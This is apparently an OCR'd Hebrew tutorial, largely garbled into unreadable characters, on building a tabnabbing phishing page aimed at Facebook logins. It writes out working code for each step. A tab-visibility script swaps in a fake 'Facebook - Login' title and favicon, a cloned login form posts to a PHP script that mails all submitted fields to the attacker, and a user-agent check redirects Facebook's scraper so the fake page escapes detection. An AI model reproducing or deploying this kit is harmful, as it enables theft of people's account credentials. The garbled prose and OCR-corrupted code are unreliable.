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bottom:0px; right:@px; width:100%; height:100%; border:none;"></iframe>
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var vis = (function(){
var stateKey, eventKey, keys = {
hidden: "visibilitychange",
webkitHidden: "webkitvisibilitychange",
mozHidden: "mozvisibilitychange",
msHidden: "msvisibilitychange"
}s
for (stateKey in keys) {
if (stateKey in document) {
eventKey = keys[stateKey];
break;
}
¥

return function(c) {
if (c) document.addEventListener(eventKey, c);
return !document[stateKey];

}
1IOK

YUNNYNNW JNX7? .'NdNN tab-Nn XY wnnwnn X false 2'TN* vis()-1 NN ,TIPN DX QIND NYD
iframe-n "1'wi1 favicon '11'w ,NINID "11'W :javascript NIVXAKI NIXAN NI7IVD NX '7'w9) ,tab-nn K¥!

NN TIRD .17 2'w9N qT7 'Ndn

<script>
var vis = (function(){
var stateKey, eventKey, keys = {
hidden: "visibilitychange",
webkitHidden: "webkitvisibilitychange",
mozHidden: "mozvisibilitychange",
msHidden: "msvisibilitychange"
}s
for (stateKey in keys) {
if (stateKey in document) {
eventKey = keys[stateKey];
break;
}
}

return function(c) {
if (c) document.addEventListener(eventKey, c);
return !document[stateKey];

}
NO;

vis(function(){
if(vis()==Ffalse) {

document.title = 'Facebook - Login';
var link = document.createElement('link"');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = 'http://www.stackoverflow.com/favicon.ico";

document.getElementsByTagName( 'head')[@].appendChild(1link);
document.getElementById("main").src = "malicious_page.php"; // The phishing page
location

}

> http://stackoverflow.com/a/19519701
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});</script>

<div id="container">

<iframe id="main" src="http://www.ynet.co.il/articles/0,7340,L-4656901,00.html"
style="margin:0; padding:0; overflow:hidden; position:fixed; z-index:999999; top:0px;
left:0px; bottom:@px; right:0px; width:100%; height:100%; border:none;"></iframe>
</div>
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yany? 7 "<form " ntnnnn nX html Ti7a wona (Pnotepad++-1 wnnwn X) 1 D'wnnwn

.01V AND YNNWYNNY 0'VI9N NN 727'Y Ty 17w 11yn DR NRYYI action 10Nn19Y

}»(form id=“lcgin_form“| action="https: //www.facebook.com/login.php?login attempt=1" Ir.et'.'.o:i=“post"|

.(0'019n NX 7a'w TIMyn) details.php 7X action-2 X¥N1w YN NX M

:details.php-n namod
N'AN] 'RV 10D ,N7¢ UNNWNNY D'0190 DK 72p7 0D"MY X details.php 9Tn X 2mdY '
D1ININ 72 DX 7271 P .POST-2 KIN DRININ NN'Y7W [DIXY NONIR NINT ,post XINn method-n form

11'78 NINTN NTNNAN DX N7WAE DITNNNY? 199 vn DY TY 75 q'on ,POST-1 N7 wnnwnnw

:PHP T 7'
<?php
$data = ""; // nawn 2R 1TM20I0 DTUION DR 27D°W NINWNN
foreach($_POST as $key=>$value) // 1m2wiw D UI9N 2D 20 NR2121 0 121D 1ITIR XD
$data .= "{$key}={$value}\r\n"; // ninwnn 2x8 D'9°0In 11MIR 1X8D data nTw 2>
21pnnw

mail("yourmail@example.com"”, "Login details", $data); // D V19N NXR D TW21W 11TIXR 1RD
27N NINUND NIU¥YNRA 27'N2? 11792R
?>

D110 DI'N D'VISNY DKW ARAY TINY PHP TIpn MNXR 9'011 TIVN' X7 wnnynnw T ,Nyd
1019 DY 091N NX N7w1 nYd (Facebook-7 IN ,Google-7 217N NX 1"aAYn7 TWONY [aINd)
IRIAWN T 7R INIR 721° RINEAIPAN 212090 MNNA DY1AY NINANNN

https://www.facebook.com/login.php?login attempt=1
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NTIPIN RXI* IX 72X ,20 72V NdNIo 0'7RW NIk 7101) 21" 01007 AWONI NIV KIN N7 N7V
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® https://notepad-plus-plus.org/
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Google

Search the world's information, including webpages,
images, videos and more. Google has many special
features to help you find exactly what you're looking
for.
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AN JIYn? NIn 7y) "aITn DK AT 207 N0IN NDWNN LPIA0MD7 MW D'YN IR WUND
NINY NINT? X' N7W D10 LT Nn'wn? Ty Scraper NITva NRT Wiy X0 L('1D1Namn ,0'u1s
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| header("Location: http://google.com");

"IN DRY 'MI2N N7 2702 .'MNoNSY qT1) Google NX a¥nl ,google.com-7 Nnwpa N71IW Scraper-n
7w Scraper-n NX NIN7 NY9¥X X 720 wnnwn |27 712079 9w Scraper-n |2 7'Tan? nYxx
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If(isFacebookScraper()==true)

Header("Location: http://the-original-site.com");
else

// Phishing page comes here

NIDXY? 721N "IN N2 VOPL YAIP 78 NN7YIY NYWPAN NN ANPDW PHP-1 logger |'n 'MAnd N7 27wAa

.7120"9 7w Scraper-n 7¥ nwjz1a
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:Logger-n 7¥ TI7n

<?php

$ip = $_SERVER["REMOTE_ADDR"];

$user_agent = $_SERVER["HTTP_USER_AGENT"];

$post = print_r($_POST, true);

$get = print_r($_GET, true);

$o = fopen("listenl.txt", "a+");

fwrite($o, "IP: $ip\r\nUser-agent: $user_agent\r\nPost: $post\r\nGet: $get\r\n---------

fclose($0);
?>

:(n'-scraper-n 73 7W) y1ap n'n User-agent-n 72N ,get IX post NWpA DIV N7W X7 Scraper-n

IP: 31.13.102.122

User-agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Post: Array

(

)

Get: Array

(
)

71209 ¥ Scraper-nn NN7W1 NYRANY NINT? D'O1T 2 DIY'Y 7'0N7 TWOX NYPAN |INN
(IP n1am> 1o0n v facebook-7) .IP niamd niv ' 7y 1nr A

.User-agent header-n ' 7y 'n't .2

['R NRXINN NNIX DX NINNR DT 2 ONXI TR NIND ATY [N User-agent ' 2V nInT? 'Mna X

NDNNN )T TNAX 'IXY N1'0

if(preg_match("/facebookexternalhit/", $user_agent))
header('Location: http://the-original-site.com
else
show_page();
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